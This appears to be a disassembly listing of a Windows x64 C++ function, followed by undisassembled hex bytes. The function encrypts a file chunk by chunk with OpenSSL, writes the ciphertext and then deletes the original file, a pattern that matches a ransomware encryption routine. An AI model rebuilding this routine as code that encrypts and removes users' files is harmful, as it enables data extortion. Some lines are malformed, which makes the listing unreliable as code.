140006d12mov rax, [rbp+7360]
140006d19mov ecx, [rbp+7348]
140006d1fmov [rsp+32], ecx
140006d23mov r9, r8
140006d26mov r8, r10
140006d29mov rcx, rax
140006d2ccall EVP_EncryptUpdate
140006d31test eax, eax
140006d33setle al
140006d36test al, al
140006d38je 0x140006df9
140006d3elea rax, [rbp+6591]
140006d45mov [rbp+7208], rax
140006d4cnop
140006d4dnop
140006d4elea rcx, [rbp+6591]
140006d55lea rdx, [rip+0x1004a7]
140006d5clea rax, [rbp+6544]
140006d63mov r8, rcx
140006d66mov rcx, rax
140006d69call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006d6elea rax, [rbp+6624]
140006d75mov rdx, [rbp+7408]
140006d7cmov rcx, rax
140006d7fcall std::filesystem::__cxx11::path::string() const
140006d84lea rax, [rbp+6592]
140006d8blea rcx, [rbp+6624]
140006d92lea rdx, [rip+0x100f67]
140006d99mov r8, rcx
140006d9cmov rcx, rax
140006d9fcall _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140006da4lea rdx, [rbp+6544]
140006dablea rax, [rbp+6592]
140006db2mov rcx, rax
140006db5call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006dbalea rax, [rbp+6592]
140006dc1mov rcx, rax
140006dc4call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006dc9lea rax, [rbp+6624]
140006dd0mov rcx, rax
140006dd3call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006dd8lea rax, [rbp+6544]
140006ddfmov rcx, rax
140006de2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006de7lea rax, [rbp+6591]
140006deemov rcx, rax
140006df1call std::__new_allocator<char>::~__new_allocator()
140006df6nop
140006df7jmp 0x140006e55
140006df9
140006df9loc_140006df9:
140006df9mov eax, [rbp+5660]
140006dffmovsxd rcx, eax
140006e02lea rdx, [rbp+1520]
140006e09lea rax, [rbp+64]
140006e0dmov r8, rcx
140006e10mov rcx, rax
140006e13call std::ostream::write(char const*, long long)
140006e18
140006e18loc_140006e18:
140006e18lea rax, [rbp+5664]
140006e1fmov rcx, rax
140006e22call std::vector<char, std::allocator<char>>::data()
140006e27mov rdx, rax
140006e2alea rax, [rbp+528]
140006e31mov r8l, 4096
140006e37mov rcx, rax
140006e3acall std::istream::read(char*, long long)
140006e3fmov rcx, rax
140006e42call std::istream::gcount() const
140006e47test rax, rax
140006e4asetg al
140006e4dtest al, al
140006e4fjne 0x140006cdd
140006e55
140006e55loc_140006e55:
140006e55lea rcx, [rbp+5660]
140006e5clea rdx, [rbp+1520]
140006e63mov rax, [rbp+7360]
140006e6amov r8, rcx
140006e6dmov rcx, rax
140006e70call EVP_EncryptFinal_ex
140006e75test eax, eax
140006e77setle al
140006e7atest al, al
140006e7cje 0x140006f3c
140006e82lea rax, [rbp+6703]
140006e89mov [rbp+7200], rax
140006e90nop
140006e91nop
140006e92lea rcx, [rbp+6703]
140006e99lea rdx, [rip+0x100363]
140006ea0lea rax, [rbp+6656]
140006ea7mov r8, rcx
140006eaamov rcx, rax
140006eadcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006eb2lea rax, [rbp+6736]
140006eb9mov rdx, [rbp+7408]
140006ec0mov rcx, rax
140006ec3call std::filesystem::__cxx11::path::string() const
140006ec8lea rax, [rbp+6704]
140006ecflea rcx, [rbp+6736]
140006ed6lea rdx, [rip+0x100e43]
140006eddmov r8, rcx
140006ee0mov rcx, rax
140006ee3call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140006ee8lea rdx, [rbp+6656]
140006eeflea rax, [rbp+6704]
140006ef6mov rcx, rax
140006ef9call log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140006efelea rax, [rbp+6704]
140006f05mov rcx, rax
140006f08call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006f0dlea rax, [rbp+6736]
140006f14mov rcx, rax
140006f17call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006f1clea rax, [rbp+6656]
140006f23mov rcx, rax
140006f26call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
140006f2blea rax, [rbp+6703]
140006f32mov rcx, rax
140006f35call std::__new_allocator<char>::~__new_allocator()
140006f3ajmp 0x140006f5b
140006f3c
140006f3cloc_140006f3c:
140006f3cmov eax, [rbp+5660]
140006f42movsxd rcx, eax
140006f45lea rdx, [rbp+1520]
140006f4clea rax, [rbp+64]
140006f50mov r8, rcx
140006f53mov rcx, rax
140006f56call std::ostream::write(char const*, long long)
140006f5b
140006f5bloc_140006f5b:
140006f5bmov rax, [rbp+7360]
140006f62mov rcx, rax
140006f65call EVP_CIPHER_CTX_free
140006f6alea rax, [rbp+528]
140006f71mov rcx, rax
140006f74call std::basic_ifstream<char, std::char_traits<char>>::close()
140006f79lea rax, [rbp+64]
140006f7dmov rcx, rax
140006f80call std::basic_ofstream<char, std::char_traits<char>>::close()
140006f85mov rax, [rbp+7408]
140006f8cmov rcx, rax
140006f8fcall std::filesystem::remove(std::filesystem::__cxx11::path const&)
140006f94lea rax, [rbp+6815]
140006f9bmov [rbp+7192], rax
140006fa2nop
140006fa3nop
140006fa4lea rcx, [rbp+6815]
140006fablea rdx, [rip+0x1004f9]
140006fb2lea rax, [rbp+6768]
140006fb9mov r8, rcx
140006fbcmov rcx, rax
140006fbfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::basic_string<std::allocator<char>>(char const*, std::allocator<char> const&)
140006fc4lea rax, [rbp+6848]
140006fcbmov rdx, [rbp+7408]
140006fd2mov rcx, rax
140006fd5call std::filesystem::__cxx11::path::string() const
140006fdalea rax, [rbp+6816]
140006fe1lea rcx, [rbp+6848]
140006fe8lea rdx, [rip+0x100d50]
140006fefmov r8, rcx
140006ff2mov rcx, rax
140006ff5call _ZStplIcSt11char_traitsIcESaIcEENSt7__cxx1112basic_stringIT_T0_T1_EEPKS5_OS8_
140006ffalea rdx, [rbp+6768]
140007001lea rax, [rbp+6816]
140007008mov rcx, rax
14000700bcall log_message(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>> const&)
140007010lea rax, [rbp+6816]
140007017mov rcx, rax
14000701acall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000701flea rax, [rbp+6848]
140007026mov rcx, rax
140007029call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000702elea rax, [rbp+6768]
140007035mov rcx, rax
140007038call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
14000703dlea rax, [rbp+6815]
140007044mov rcx, rax
140007047call std::__new_allocator<char>::~__new_allocator()
14000704cnop
14000704dlea rax, [rbp+5664]
140007054mov rcx, rax
140007057call std::vector<char, std::allocator<char>>::~vector()
14000705cmov ebx, 1
140007061
140007061loc_140007061:
140007061lea rax, [rbp+64]
140007065mov rcx, rax
140007068call std::basic_ofstream<char, std::char_traits<char>>::~basic_ofstream()
14000706dcmp ebx, 1
140007070jne 0x140007079
140007072mov ebx, 1
140007077jmp 0x14000707e
140007079
140007079loc_140007079:
140007079mov ebx, 0
14000707e
14000707eloc_14000707e:
14000707elea rax, [rbp+528]
140007085mov rcx, rax
140007088call std::basic_ifstream<char, std::char_traits<char>>::~basic_ifstream()
14000708dcmp ebx, 1
140007090jne 0x140007099
140007092mov ebx, 1
140007097jmp 0x14000709e
140007099
140007099loc_140007099:
140007099mov ebx, 0
14000709e
14000709eloc_14000709e:
14000709elea rax, [rbp+16]
1400070a2mov rcx, rax
1400070a5call std::filesystem::__cxx11::path::~path()
1400070aacmp ebx, 1
1400070adjne 0x1400070b6
1400070afmov ebx, 1
1400070b4jmp 0x1400070bb
1400070b6
1400070b6loc_1400070b6:
1400070b6mov ebx, 0
1400070bb
1400070bbloc_1400070bb:
1400070bblea rax, [rbp-48]
1400070bfmov rcx, rax
1400070c2call std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400070c7cmp ebx, 1
1400070cajne 0x1400070d3
1400070ccmov ebx, 1
1400070d1jmp 0x1400070d8
1400070d3
1400070d3loc_1400070d3:
1400070d3mov ebx, 0
1400070d8
1400070d8loc_1400070d8:
1400070d8lea rax, [rbp-80]
1400070dcmov rcx, rax
1400070dfcall std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char>>::~basic_string()
1400070e4cmp ebx, 1
1400070e7jmp 0x14000789a
1400070ec
1400070ec 48 89 c6 48 H..H
1400070f0 89 d3 48 8d 85 50 16 00 00 48 89 c1 e8 cf a3 0d ..H..P...H......
140007100 00 e9 7b 04 00 00 48 89 c6 48 89 d3 48 8d 85 a0 ..{...H..H..H...
140007110 16 00 00 48 89 c1 e8 b5 a3 0d 00 eb 06 48 89 c6 ...H.........H..
140007120 48 89 d3 48 8d 85 c0 16 00 00 48 89 c1 e8 9e a3 H..H......H.....
140007130 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 70 16 00 ....H..H..H..p..
140007140 00 48 89 c1 e8 87 a3 0d 00 eb 06 48 89 c6 48 89 .H.........H..H.
140007150 d3 48 8d 85 9f 16 00 00 48 89 c1 e8 70 6c 0c 00 .H......H...pl..
140007160 90 e9 dc 03 00 00 48 89 c6 48 89 d3 48 8d 85 10 ......H..H..H...
140007170 17 00 00 48 89 c1 e8 55 a3 0d 00 eb 06 48 89 c6 ...H...U.....H..
140007180 48 89 d3 48 8d 85 30 17 00 00 48 89 c1 e8 3e a3 H..H..0...H...>.
140007190 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 e0 16 00 ....H..H..H.....
1400071a0 00 48 89 c1 e8 27 a3 0d 00 eb 06 48 89 c6 48 89 .H...'.....H..H.
1400071b0 d3 48 8d 85 0f 17 00 00 48 89 c1 e8 10 6c 0c 00 .H......H....l..
1400071c0 90 e9 68 03 00 00 48 89 c6 48 89 d3 48 8d 85 80 ..h...H..H..H...
1400071d0 17 00 00 48 89 c1 e8 f5 a2 0d 00 eb 06 48 89 c6 ...H.........H..
1400071e0 48 89 d3 48 8d 85 af 17 00 00 48 89 c1 e8 de 6b H..H......H....k
1400071f0 0c 00 90 48 8d 85 50 17 00 00 48 89 c1 e8 ce a2 ...H..P...H.....
140007200 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 7f 17 00 ....H..H..H.....
140007210 00 48 89 c1 e8 b7 6b 0c 00 90 e9 0f 03 00 00 48 .H....k........H
140007220 89 c6 48 89 d3 48 8d 85 e0 17 00 00 48 89 c1 e8 ..H..H......H...
140007230 9c a2 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 0f ......H..H..H...
140007240 18 00 00 48 89 c1 e8 85 6b 0c 00 90 48 8d 85 b0 ...H....k...H...
140007250 17 00 00 48 89 c1 e8 75 a2 0d 00 eb 06 48 89 c6 ...H...u.....H..
140007260 48 89 d3 48 8d 85 df 17 00 00 48 89 c1 e8 5e 6b H..H......H...^k
140007270 0c 00 90 e9 b6 02 00 00 48 89 c6 48 89 d3 48 8d ........H..H..H.
140007280 85 40 18 00 00 48 89 c1 e8 43 a2 0d 00 eb 06 48 .@...H...C.....H
140007290 89 c6 48 89 d3 48 8d 85 6f 18 00 00 48 89 c1 e8 ..H..H..o...H...
1400072a0 2c 6b 0c 00 90 48 8d 85 10 18 00 00 48 89 c1 e8 ,k...H......H...
1400072b0 1c a2 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 3f ......H..H..H..?
1400072c0 18 00 00 48 89 c1 e8 05 6b 0c 00 90 e9 5d 02 00 ...H....k....]..
1400072d0 00 48 89 c6 48 89 d3 48 8d 85 a0 18 00 00 48 89 .H..H..H......H.
1400072e0 c1 e8 ea a1 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ........H..H..H.
1400072f0 85 cf 18 00 00 48 89 c1 e8 d3 6a 0c 00 90 48 8d .....H....j...H.
140007300 85 70 18 00 00 48 89 c1 e8 c3 a1 0d 00 eb 06 48 .p...H.........H
140007310 89 c6 48 89 d3 48 8d 85 9f 18 00 00 48 89 c1 e8 ..H..H......H...
140007320 ac 6a 0c 00 90 e9 04 02 00 00 48 89 c6 48 89 d3 .j........H..H..
140007330 48 8d 85 00 19 00 00 48 89 c1 e8 91 a1 0d 00 eb H......H........
140007340 06 48 89 c6 48 89 d3 48 8d 85 2f 19 00 00 48 89 .H..H..H../...H.
140007350 c1 e8 7a 6a 0c 00 90 48 8d 85 d0 18 00 00 48 89 ..zj...H......H.
140007360 c1 e8 6a a1 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ..j.....H..H..H.
140007370 85 ff 18 00 00 48 89 c1 e8 53 6a 0c 00 90 e9 ab .....H...Sj.....
140007380 01 00 00 48 89 c6 48 89 d3 48 8d 85 60 19 00 00 ...H..H..H..`...
140007390 48 89 c1 e8 38 a1 0d 00 eb 06 48 89 c6 48 89 d3 H...8.....H..H..
1400073a0 48 8d 85 8e 19 00 00 48 89 c1 e8 21 6a 0c 00 90 H......H...!j...
1400073b0 48 8d 85 30 19 00 00 48 89 c1 e8 11 a1 0d 00 eb H..0...H........
1400073c0 06 48 89 c6 48 89 d3 48 8d 85 5f 19 00 00 48 89 .H..H..H.._...H.
1400073d0 c1 e8 fa 69 0c 00 90 e9 52 01 00 00 48 89 c6 48 ...i....R...H..H
1400073e0 89 d3 48 8d 85 8f 19 00 00 48 89 c1 e8 df 69 0c ..H......H....i.
1400073f0 00 90 e9 37 01 00 00 48 89 c6 48 89 d3 48 8d 85 ...7...H..H..H..
140007400 c0 19 00 00 48 89 c1 e8 c4 a0 0d 00 eb 06 48 89 ....H.........H.
140007410 c6 48 89 d3 48 8d 85 e0 19 00 00 48 89 c1 e8 ad .H..H......H....
140007420 a0 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 90 19 .....H..H..H....
140007430 00 00 48 89 c1 e8 96 a0 0d 00 eb 06 48 89 c6 48 ..H.........H..H
140007440 89 d3 48 8d 85 bf 19 00 00 48 89 c1 e8 7f 69 0c ..H......H....i.
140007450 00 90 e9 c0 00 00 00 48 89 c6 48 89 d3 48 8d 85 .......H..H..H..
140007460 30 1a 00 00 48 89 c1 e8 64 a0 0d 00 eb 06 48 89 0...H...d.....H.
140007470 c6 48 89 d3 48 8d 85 50 1a 00 00 48 89 c1 e8 4d .H..H..P...H...M
140007480 a0 0d 00 eb 06 48 89 c6 48 89 d3 48 8d 85 00 1a .....H..H..H....
140007490 00 00 48 89 c1 e8 36 a0 0d 00 eb 06 48 89 c6 48 ..H...6.....H..H
1400074a0 89 d3 48 8d 85 2f 1a 00 00 48 89 c1 e8 1f 69 0c ..H../...H....i.
1400074b0 00 90 eb 63 48 89 c6 48 89 d3 48 8d 85 a0 1a 00 ...cH..H..H.....
1400074c0 00 48 89 c1 e8 07 a0 0d 00 eb 06 48 89 c6 48 89 .H.........H..H.
1400074d0 d3 48 8d 85 c0 1a 00 00 48 89 c1 e8 f0 9f 0d 00 .H......H.......
1400074e0 eb 06 48 89 c6 48 89 d3 48 8d 85 70 1a 00 00 48 ..H..H..H..p...H
1400074f0 89 c1 e8 d9 9f 0d 00 eb 06 48 89 c6 48 89 d3 48 .........H..H..H
140007500 8d 85 9f 1a 00 00 48 89 c1 e8 c2 68 0c 00 90 eb ......H....h....
140007510 06 48 89 c6 48 89 d3 48 8d 85 20 16 00 00 48 89 .H..H..H.. ...H.
140007520 c1 e8 0a 4a 0d 00 eb 06 48 89 c6 48 89 d3 48 8d ...J....H..H..H.
140007530 45 40 48 89 c1 e8 66 46 0c 00 eb 06 48 89 c6 48 E@H...fF....H..H
140007540 89 d3 48 8d 85 10 02 00 00 48 89 c1 e8 6f 20 0c ..H......H...o .
140007550 00 eb 06 48 89 c6 48 89 d3 48 8d 45 10 48 89 c1 ...H..H..H.E.H..
140007560 e8 3b 20 0a 00 eb 06 48 89 c6 48 89 d3 48 8d 45 .; ....H..H..H.E
140007570 d0 48 89 c1 e8 57 9f 0d 00 eb 06 48 89 c6 48 89 .H...W.....H..H.
140007580 d3 48 8d 45 b0 48 89 c1 e8 43 9f 0d 00 48 89 f0 .H.E.H...C...H..
140007590 48 89 da eb 00 48 83 fa 01 0f 85 49 01 00 00 48 H....H.....I...H
1400075a0 89 c1 e8 e9 a6 0f 00 48 89 85 a8 1c 00 00 48 8d .......H......H.
1400075b0 85 0f 1b 00 00 48 89 85 10 1c 00 00 90 90 48 8d .....H........H.
1400075c0 8d 0f 1b 00 00 48 8d 15 37 fc 0f 00 48 8d 85 e0 .....H..7...H...
1400075d0 1a 00 00 49 89 c8 48 89 c1 e8 42 98 0d 00 48 8b ...I..H...B...H.
1400075e0 85 a8 1c 00 00 48 8b 00 48 83 c0 10 48 8b 10 48 .....H..H...H..H
1400075f0 8b 85 a8 1c 00 00 48 89 c1 ff d2 48 89 c3 48 8d ......H....H..H.
140007600 85 70 1b 00 00 48 8b 95 f0 1c 00 00 48 89 c1 e8 .p...H......H...
140007610 ec 7e 02 00 48 8d 85 50 1b 00 00 48 8d 8d 70 1b .~..H..P...H..p.
140007620 00 00 48 8d 15 22 07 10 00 49 89 c8 48 89 c1 e8 ..H.."...I..H...
140007630 9c 74 0f 00 48 8d 85 30 1b 00 00 48 8d 0d 26 07 .t..H..0...H..&.
140007640 10 00 48 8d 95 50 1b 00 00 49 89 c8 48 89 c1 e8 ..H..P...I..H...
140007650 fc 72 0f 00 48 8d 85 10 1b 00 00 48 8d 95 30 1b .r..H......H..0.
140007660 00 00 49 89 d8 48 89 c1 e8 e3 72 0f 00 48 8d 95 ..I..H....r..H..
140007670 e0 1a 00 00 48 8d 85 10 1b 00 00 48 89 c1 e8 88 ....H......H....
140007680 a0 ff ff 48 8d 85 10 1b 00 00 48 89 c1 e8 3e 9e ...H......H...>.
140007690 0d 00 48 8d 85 30 1b 00 00 48 89 c1 e8 2f 9e 0d ..H..0...H.../..
1400076a0 00 48 8d 85 50 1b 00 00 48 89 c1 e8 20 9e 0d 00 .H..P...H... ...
1400076b0 48 8d 85 70 1b 00 00 48 89 c1 e8 11 9e 0d 00 48 H..p...H.......H
1400076c0 8d 85 e0 1a 00 00 48 89 c1 e8 02 9e 0d 00 48 8d ......H.......H.
1400076d0 85 0f 1b 00 00 48 89 c1 e8 f3 66 0c 00 90 e8 9d .....H....f.....
1400076e0 a7 0f 00 e9 b2 01 00 00 48 89 c1 e8 a0 a5 0f 00 ........H.......
1400076f0 48 8d 85 bf 1b 00 00 48 89 85 08 1c 00 00 90 90 H......H........
140007700 48 8d 8d bf 1b 00 00 48 8d 15 f5 fa 0f 00 48 8d H......H......H.
140007710 85 90 1b 00 00 49 89 c8 48 89 c1 e8 00 97 0d 00 .....I..H.......
140007720 48 8d 85 e0 1b 00 00 48 8b 95 f0 1c 00 00 48 89 H......H......H.
140007730 c1 e8 ca 7d 02 00 48 8d 85 c0 1b 00 00 48 8d 8d ...}..H......H..
140007740 e0 1b 00 00 48 8d 15 20 06 10 00 49 89 c8 48 89 ....H.. ...I..H.
140007750 c1 e8 7a 73 0f 00 48 8d 95 90 1b 00 00 48 8d 85 ..zs..H......H..
140007760 c0 1b 00 00 48 89 c1 e8 9f 9f ff ff 48 8d 85 c0 ....H.......H...
140007770 1b 00 00 48 89 c1 e8 55 9d 0d 00 48 8d 85 e0 1b ...H...U...H....
140007780 00 00 48 89 c1 e8 46 9d 0d 00 48 8d 85 90 1b 00 ..H...F...H.....
140007790 00 48 89 c1 e8 37 9d 0d 00 48 8d 85 bf 1b 00 00 .H...7...H......
1400077a0 48 89 c1 e8 28 66 0c 00 90 e8 d2 a6 0f 00 e9 e7 H...(f..........
1400077b0 00 00 00 48 89 c3 48 8d 85 10 1b 00 00 48 89 c1 ...H..H......H..
1400077c0 e8 0b 9d 0d 00 eb 03 48 89 c3 48 8d 85 30 1b 00 .......H..H..0..
1400077d0 00 48 89 c1 e8 f7 9c 0d 00 eb 03 48 89 c3 48 8d .H.........H..H.
1400077e0 85 50 1b 00 00 48 89 c1 e8 e3 9c 0d 00 eb 03 48 .P...H.........H
1400077f0 89 c3 48 8d 85 70 1b 00 00 48 89 c1 e8 cf 9c 0d ..H..p...H......
140007800 00 eb 03 48 89 c3 48 8d 85 e0 1a 00 00 48 89 c1 ...H..H......H..
140007810 e8 bb 9c 0d 00 eb 03 48 89 c3 48 8d 85 0f 1b 00 .......H..H.....
140007820 00 48 89 c1 e8 a7 65 0c 00 90 e8 51 a6 0f 00 48 .H....e....Q...H
140007830 89 d8 48 89 c1 e8 66 3b 01 00 48 89 c3 48 8d 85 ..H...f;..H..H..
140007840 c0 1b 00 00 48 89 c1 e8 84 9c 0d 00 eb 03 48 89 ....H.........H.
140007850 c3 48 8d 85 e0 1b 00 00 48 89 c1 e8 70 9c 0d 00 .H......H...p...
140007860 eb 03 48 89 c3 48 8d 85 90 1b 00 00 48 89 c1 e8 ..H..H......H...
140007870 5c 9c 0d 00 eb 03 48 89 c3 48 8d 85 bf 1b 00 00 \.....H..H......
140007880 48 89 c1 e8 48 65 0c 00 90 e8 f2 a5 0f 00 48 89 H...He........H.
140007890 d8 48 89 c1 e8 07 3b 01 00 90 .H....;...
14000789a
14000789aloc_14000789a:
14000789aadd rsp, 7504
1400078a1pop rbx
1400078a2pop rsi
1400078a3pop rbp
1400078a4ret
1400063d9
Loading..